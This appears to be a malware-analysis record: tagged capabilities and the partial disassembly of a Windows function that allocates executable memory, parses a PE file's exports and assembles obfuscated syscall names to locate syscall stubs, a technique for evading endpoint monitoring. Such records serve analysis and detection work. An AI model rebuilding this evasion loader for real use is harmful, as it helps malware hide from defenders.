Function at 0x140002e11
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x54c0
call fcn.1400166c0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.1400156f0
call fcn.1400015c3
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5418], eax
mov eax, dword [rbp + 0x5418]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5410], rax
mov rax, qword [rbp + 0x5410]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5408], rax
mov rax, qword [rbp + 0x5408]
add rax, 0x17
mov qword [rbp + 0x5400], rax
mov rax, qword [rbp + 0x5400]
add rax, 0x17
mov qword [rbp + 0x53f8], rax
mov rax, qword [rbp + 0x53f8]
add rax, 0x17
mov qword [rbp + 0x53f0], rax
mov rax, qword [rbp + 0x53f0]
add rax, 0x17
mov qword [rbp + 0x53e8], rax
mov rax, qword [rbp + 0x53e8]
add rax, 0x17
mov qword [rbp + 0x53e0], rax
mov rax, qword [rbp + 0x53e0]
add rax, 0x17
mov qword [rbp + 0x53d8], rax
mov rax, qword [rbp + 0x53d8]
add rax, 0x17
mov qword [rbp + 0x53d0], rax
mov rax, qword [rbp + 0x53d0]
add rax, 0x17
mov qword [rbp + 0x53c8], rax
mov rax, qword [rbp + 0x53c8]
add rax, 0x17
mov qword [rbp + 0x53c0], rax
mov rax, qword [rbp + 0x53c0]
add rax, 0x17
mov qword [rbp + 0x53b8], rax
mov rax, qword [rbp + 0x53b8]
add rax, 0x17
mov qword [rbp + 0x53b0], rax
mov rax, qword [rbp + 0x53b0]
add rax, 0x17
mov qword [rbp + 0x53a8], rax
mov rax, qword [rbp + 0x53a8]
add rax, 0x17
mov qword [rbp + 0x53a0], rax
mov rax, qword [rbp + 0x53a0]
add rax, 0x17
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
add rax, 0x17
mov qword [rbp + 0x5390], rax
mov rax, qword [rbp + 0x5390]
add rax, 0x17
mov qword [rbp + 0x5388], rax
mov rax, qword [rbp + 0x5388]
add rax, 0x17
mov qword [rbp + 0x5380], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x5378], 0
mov dword [rbp + 0x5374], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x5368], 0
mov rax, qword [rbp + 0x5408]
mov qword [0x14010b038], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5408]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5400]
mov qword [0x14010b040], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5400]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53f8]
mov qword [0x14010b048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53f0]
mov qword [0x14010b050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53e8]
mov qword [0x14010b058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53e0]
mov qword [0x14010b060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53d8]
mov qword [0x14010b068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53d8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53d0]
mov qword [0x14010b070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53d0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53c8]
mov qword [0x14010b078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53c8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53c0]
mov qword [0x14010b080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53c0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53b8]
mov qword [0x14010b088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53b8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53b0]
mov qword [0x14010b090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53b0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53a8]
mov qword [0x14010b098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53a8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x53a0]
mov qword [0x14010b0a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x53a0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5398]
mov qword [0x14010b0a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5398]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5390]
mov qword [0x14010b0b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5390]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5388]
mov qword [0x14010b0b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5388]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5380]
mov qword [0x14010b0c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5380]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400dd548]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x5378], rax
mov rax, qword [rbp + 0x5378]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x5374], eax
mov ebx, dword [rbp + 0x5374]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x5368], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x5374]
mov rdx, qword [rbp + 0x5368]
mov rax, qword [rbp + 0x5378]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x5368]
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5368]
add rax, rdx
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x5354], eax
mov rax, qword [rbp + 0x5358]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x5358]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5438], rax
mov rax, qword [rbp + 0x5438]
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5438]
mov qword [rbp + 0x5430], rax
mov dword [rbp + 0x542c], 0
jmp 0x14000354f
mov rax, qword [rbp + 0x5438]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003540
mov rax, qword [rbp + 0x5438]
mov qword [rbp + 0x5430], rax
jmp 0x140003565
add qword [rbp + 0x5438], 0x28
add dword [rbp + 0x542c], 1
mov rax, qword [rbp + 0x5358]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x542c], eax
jl 0x140003516
mov edx, dword [rbp + 0x5354]
mov rax, qword [rbp + 0x5368]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5430]
mov rdx, rax
call fcn.14000145c
mov qword [rbp + 0x5340], rax
lea rax, [rbp + 0x279f]
mov qword [rbp + 0x52e8], rax
nop
nop
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1400dd571]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5408]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140003a0d
lea rbx, [0x1400dd58b]
jmp 0x140003a14
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x2a4f]
mov qword [rbp + 0x52e0], rax
nop
nop
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5400]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x140003e5a
lea rbx, [0x1400dd58b]
jmp 0x140003e61
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x2d3f]
mov qword [rbp + 0x52d8], rax
nop
nop
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x1400dd5ab]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x1400dd577]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x1400dd57d]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x1400dd57f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x1400dd583]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x1400dd573]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x1400dd585]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1400dd587]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1400dd575]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1400dd589]
mov rcx, rax
call fcn.1400bc110
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ac030
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.1400abff0
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.14009c9a0
nop
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400ab330
mov r9, qword [rbp + 0x5348]
mov r8, qword [rbp + 0x5368]
mov rdx, qword [rbp + 0x5340]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x53f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5430]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140001489
mov dword [rbp + 0x533c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.1400abff0
cmp dword [rbp + 0x533c], 0
je 0x1400042ff
lea rbx, [0x1400dd58b]
jmp 0x140004306
lea rbx, [0x1400dd590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400317f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140020e80
lea rax, [rbp + 0x2f6f]
mov qword [rbp + 0x52d0], rax
nop
nop
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400ab7d0
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x1400dd5ad]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x1400dd581]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x1400dd579]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x1400dd56f]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x1400dd57b]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x1400dd5af]
mov rcx, rax
call fcn.1400bc110
lea rax, [rbp + 0x2e20]
